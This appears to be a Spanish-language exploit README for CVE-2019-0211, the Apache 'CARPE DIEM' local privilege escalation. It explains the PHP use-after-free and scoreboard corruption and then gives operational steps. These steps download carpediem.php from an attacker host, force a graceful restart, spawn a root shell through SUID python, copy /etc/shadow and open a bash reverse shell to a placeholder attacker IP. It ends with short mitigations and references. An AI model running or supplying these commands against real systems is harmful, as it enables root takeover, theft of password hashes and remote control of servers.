## https://sploitus.com/exploit?id=88CDF499-CBE3-57E2-AB63-71E9CAA42B22
# CVE-2019-0211 — Apache HTTP Server Local Privilege Escalation (CARPE DIEM)
## Descripción
**CVE-2019-0211** es una vulnerabilidad de **escalada de privilegios local** que afecta a **Apache HTTP Server** entre las versiones **2.4.17 y 2.4.38** con **mod_prefork** y **mod_php** (o PHP-FPM).
La vulnerabilidad permite a un atacante con una shell como `www-data` escalar a **root** mediante una combinación de **Use-After-Free (UAF)** en PHP y corrupción del **scoreboard** de Apache. Cuando Apache realiza un **graceful restart** (por ejemplo, mediante logrotate a las 6:25 AM), ejecuta `child_init()` antes de dropear privilegios. Si logramos corromper el puntero a esta función, podemos hacer que Apache ejecute un comando arbitrario como **root**.
**CVSS 3.1:** 7.8 (HIGH) — `AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H`
---
## Detalles Técnicos
| Campo | Valor |
|-------|-------|
| **CVE** | CVE-2019-0211 |
| **Producto** | Apache HTTP Server |
| **Versiones afectadas** | 2.4.17 – 2.4.38 |
| **Tipo** | Local Privilege Escalation (CWE-269) |
| **Requisito** | Shell como `www-data`, Apache con mod_php, MPM prefork/worker/event |
| **CVSS 3.1** | 7.8 HIGH |
| **Parche** | Apache 2.4.39 |
### Mecanismo
Apache utiliza una región de memoria compartida llamada **scoreboard** donde cada proceso hijo worker tiene una estructura `process_score` con un puntero `bucket` a `prefork_child_bucket`. Este bucket contiene un `apr_proc_mutex_t` con punteros a funciones (`meth->child_init()`).
Cuando Apache hace un **graceful restart** (trigger natural a las 6:25 AM por logrotate), llama a `child_init()` **antes** de dropear privilegios. El exploit:
1. Provoca un **UAF en PHP** manipulando objetos `DateInterval` y serialización JSON
2. Obtiene una primitiva de **lectura/escritura arbitraria** en memoria
3. Lee `/proc/self/maps` para localizar el scoreboard (SHM en `/dev/zero`)
4. Encuentra la estructura `all_buckets` en la memoria de Apache
5. Sobrescribe los buckets con un payload que redirige `meth->child_init()` a `system()`
6. En el próximo restart, Apache ejecuta el payload como **root**
---
## Exploit
### Autor original
**Charles Fol** — [@cfreal\_](https://github.com/cfreal)
Blogpost original: [CARPE DIEM — CVE-2019-0211 Apache Local Root](https://cfreal.github.io/carpe-diem-cve-2019-0211-apache-local-root.html)
### Requisitos
- Apache HTTP Server 2.4.17 – 2.4.38 con mod_php (PHP 7.x)
- Shell como `www-data` en el servidor
- Capacidad de escribir un archivo `.php` en un directorio servido por Apache
### Uso
```bash
# 1. Subir el exploit al servidor vulnerable
# Desde tu máquina atacante:
python3 -m http.server 8080
# En el servidor (como www-data):
cd /var/www/html
wget http://TU_IP:8080/carpediem.php
# 2. Ejecutar el exploit
curl http://localhost/carpediem.php
# 3. Esperar a que Apache haga graceful restart
# Opción A) Esperar a las 6:25 AM (logrotate automático)
# Opción B) Forzar logrotate si tienes permisos:
sudo /usr/sbin/logrotate /etc/logrotate.conf --force
# 4. Verificar que python3.5 ahora es SUID root
ls -la /usr/bin/python3.5
# Output esperado: -rwsr-sr-x 2 root root ...
# 5. Escalar a root
python3.5 -c 'import os; os.setuid(0); os.system("/bin/bash")'
```
### Payload personalizado
Puedes cambiar el comando que se ejecuta como root usando el parámetro `cmd`:
```bash
# Ejemplo: hacer una copia de /etc/shadow
curl "http://localhost/carpediem.php?cmd=cp+/etc/shadow+/tmp/"
# Ejemplo: reverse shell
curl "http://localhost/carpediem.php?cmd=bash+-c+'bash+-i+>%26+/dev/tcp/TU_IP/PUERTO+0>%261'"
```
### Tasa de éxito
| Workers | Éxito | Intentos | Fallos |
|---------|-------|----------|--------|
| 5 (default) | 87% | 177 | 26 |
| 8 | 89% | 60 | 8 |
| 10 | 95% | 70 | 4 |
Más workers = mayor tasa de éxito.
---
## Mitigación
- Actualizar Apache HTTP Server a la versión **≥ 2.4.39**
- Migrar de MPM prefork a MPM event (menor superficie de ataque en el scoreboard)
- Restringir el acceso a `/proc/self/maps` mediante `hidef` o AppArmor/SELinux
---
## Referencias
- [NVD — CVE-2019-0211](https://nvd.nist.gov/vuln/detail/CVE-2019-0211)
- [CARPE DIEM Blogpost — Charles Fol](https://cfreal.github.io/carpe-diem-cve-2019-0211-apache-local-root.html)
- [Exploit en GitHub — cfreal/exploits](https://github.com/cfreal/exploits/tree/master/CVE-2019-0211-apache)
- [Exploit-DB #46676](https://www.exploit-db.com/exploits/46676)
- [Apache Security Advisories](https://httpd.apache.org/security/vulnerabilities_24.html)